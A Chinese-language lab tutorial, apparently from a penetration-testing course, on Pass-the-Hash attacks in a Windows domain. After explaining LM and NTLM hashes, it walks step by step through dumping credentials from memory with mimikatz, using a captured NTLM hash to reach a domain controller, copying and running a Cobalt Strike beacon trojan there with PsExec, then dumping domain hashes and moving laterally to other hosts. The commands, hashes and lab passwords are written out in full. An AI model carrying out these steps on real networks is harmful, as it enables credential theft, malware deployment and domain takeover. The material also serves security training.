哈希传递攻击PTH(Pass The Hash)
一、PTH简介
1、攻击原理
在使用NTLM身份验证的系统或服务上,用户密码永远不会以明文形式通过网络发送。Windows上的应用程序要求用户提供明文密码,然后调用LsaLogonUser类的API,将该密码转换为一个或两个哈希值(LM或NTLM hash),然后将其发送到远程服务器进行NTLM身份验证。由于这种机制,我们只需要哈希值即可成功完成网络身份验证,而不需要明文密码。于是当我们获取到任意用户的Hash值就可以针对远程系统进行身份验证并模拟该用户,从而获取用户权限
2、使用原因
在WIndows Server2012 R2之后版本的操作系统中,默认在内存中不会记录明文密码,只保存用户的Hash。所以无法抓取到lsass.exe进程中的明文密码
随着信息安全意识的提高,大家都使用强密码,很多时候即使拿到hash却无法解开
3、LM Hash 与 NTLM Hash
(1)LM Hash(LAN Manager Hash):微软为了提高Windows操作系统的安全性而采用的散列加密算法
存在的问题一一易被破解:LM Hash明文密码被限制在14位以内,其本质上采用的是DES加密算法,所以LM Hash存在较容易被破解的问题。于是从Windows Vista和Windows Server 2008开始的Windows系统默认禁用了LM Hash。这里只是禁用,主要是为了保证系统的兼容性。如果LM Hash被禁用了,攻击者使用工具抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"
(2)NTLM Hash
NTLM Hash(NT LAN Manager):为了在提高安全性的同时保证兼容性,微软提出了Windows NT挑战/响应验证机制,称之为NTLM。个人版Windows从Windows Vista以后,服务器版本系统从Windows Server 2003 以后,其认证方式均为NTLM Hash
我们先做一个简单的演示
我们上一个文章已经将http_beacon_32.exe这个木马程序程序成功通过windows7保存到了Windows2003的C盘的phpstudy目录下
然后我们将这个木马程序跑起来
我们首先使用Psexec.exe将Windows2003的命令行返回到我们的Windows7上去
连接上之后,我们就进入到存放这个木马程序的文件夹中,发现木马程序程序存在
我们已经在公网服务器上将CS的服务端启动,接下来我们在客户端将其启动即可
然后我们开始使用如下命令运行这个木马程序,令其上线,然后发现无法上线,说不定是命令的错误
http_beacon_32.exe
然后我们直接先退出去,退出去的意思就是我们先断开Windows7和Windows2003的连接,然后在连接命令的后面加上运行的指令即可,命令如下:
PsExec.exe \\god-111 cmd.exe /c c:\phpstudy\http_beacon_32.exe
木马上线成功
但凡我们有权限来搞定C$的访问,那我们的横向移动也就成功了(也就是上面的操作)
那么接下来的问题就是如何搞定C$的访问
我们换一个域普通用户进行登录
net use \\god-111 /user:woniu\zhangsan User123
然后我们使用如下命令进行连接,发现无法返回命令行
PsExec.exe \\god-111 cmd.exe
文件夹这边也无法访问到目标主机的C盘
现在看来域普通用户无法去访问域内主机的C盘
先把刚刚的连接删除,不然无法使用域管理员登录,使用如下命令:
net use \\god-111 /del /y
那我们现在使用域管理员用户来看看能否访问,使用如下命令:
net use \\god-111 /user:woniuxy\administrator Woniu123
现在就可以进行访问WIndows2003的C盘了
然后我们去进行连接,发现WIndows2003的命令行已经返回到了我们的Windows7上去
使用ipconfig看看是否是Windows2003的
然后使用whoami看看是谁在登录,发现是域管理员在登录
二、PTH攻击
(使用老师的电脑进行实验)
1、实验环境
2、使用mimikatz进行PTH
此处实验环境,所以直接上传mimikatz到win7上,假设我们获取了本地管理员权限,且域管理员登录到这台电脑上(能从内存中获取域管理员的NTML Hash)
在具有管理员权限的cmd中运行mimikatz.exe,获取debug权限,而后查询当前机器中所有可用凭证
log #在当前目录下写日志,输出结果均在日志中
privilege::debug #提升至调试(debug)权限(需要本地管理员权限)
sekurlsa::logonpasswords #查看所有可用的凭证(登录到本机的所有用户)
如果目标主机是Windows2012或更高版本,默认情况下是无法查看明文密码的,可以按照以下方式查看:
然后我们开始实验
先将mimikatz复制到Windows7上去,然后直接双击打开,这个工具不好之处是不能够在里面进行复制,如果复制的话这个程序就会奔溃了
所以我们第一个要执行的命令是log,然后就会把输出的东西放到这个文件(即日志当中去),然后我们就可以在文件中进行复制
我们使用命令privilege::debug提升到debug权限,发现报错
这个报的错误不用管,意思就是说现在使用的是域普通账户zhangsan登录的,它没有办法提权成debug模式
所以我们这个mimikatz运行的前提是必须是管理员权限
mimikatz在哈希值获取的情况下是干不了的
但如果是票据这方面的话就没有问题
我们现在只是为了演示命令,然后我们去切换账户,切换到本地管理员权限
切换成功后我们继续去运行mimikatz
先log,使我们能够在文件中复制我们想要的东西
然后使用命令privilege::debug提升至debug权限
接下来我们要获取哈希值,使用命令sekurlsa::logonpasswords
我们到日志文件中去查看,NTML字段就是密码的哈希,这个是本地管理员的密码的哈希
这里面的NTML是zhangsan这个域普通用户的密码的哈希
同时,用户的密码也都显示出来了
如果能够抓到域管理员的用户名的哈希,才能搞定域内很多主机
那么怎么才能抓到域管理员的用户名的哈希
为了实验的顺利进行,我们假想域管理员来修复Windows7这台电脑,然后进行登录
登录之后内存里面就有东西了
域管理员修复完之后,我们切换用户,使用本地用户去登录
然后我们再继续运行mimikatz
依次输入以下命令
log
privilege::debug
sekurlsa::logonpasswords
然后进入日志文件中查看输出的结果,得到了域控管理员的用户名、密码、以及NTLM,同时也得到了域控管理员用户名的哈希
既然获取到了域控管理员的一些有用的信息,接下来该怎么办
开始构造哈希传递的内容
利用mimikatz进行PTH攻击,命令如下:
# sekurlsa::pth /user:用户名 /domain:域名或者域控IP /ntlm:用户的NTLM Hash
sekurlsa::pth /user:administrator /domain:192.168.112.100 /ntlm:9099d68602a60f007c227c4fa95fada6
执行命令之前看看能不能访问域控的C$,结果是不能访问,得需要输入域控管理员的用户名和密码
执行完该命令后会弹出一个窗口
整个过程没有报错
然后就访问到了域控主机的C盘
然后我们就可以进行植入木马的操作
然后将windows7上的http_beacon_64.exe复制到域控主机的C盘上,复制成功
然而我们也可以验证一下木马程序是否复制成功
然后使用工具让这个木马执行起来
首先先进入到Windows2008的命令行里去
PsExec.exe \\dcadmin cmd.exe
使用ipconfig查看IP是否为WIndows2008的,确认为Windows2008的
进入到存放木马程序的文件当中去,然后输入名称进行执行这个程序
发现上线成功
或者可以使用这种方式使其上线
在命令行里输入以下命令,两个操作可以同时执行
PsExec.exe \\dcadmin cmd.exe \\dcadmin\c$\tools\http_beacon_64.exe
上线意味着域控已经被我们搞定了,我们修改一下sleep
在域环境里我们使用net view扫描一下,让其帮我们把域环境内的主机扫出来
扫描出来以后,我们就可以随意横向移动了
我们使用Dump Hash
然后就会帮助我们把当前的哈希值给我们dump出来
后面如果有$符号,说明这是一台计算机
后面如果没有$符号,说明这是一个可正常登录的域账号
点击view的credentials
会发现刚刚所有的哈希都会存储到credentials,这就是我们在域内做横向移动的凭据
接下来我们点击192.168.112.158进行移动
我们选择Administrator
然后Lauch,发现搞定了,没有报错
然后发现158上线成功了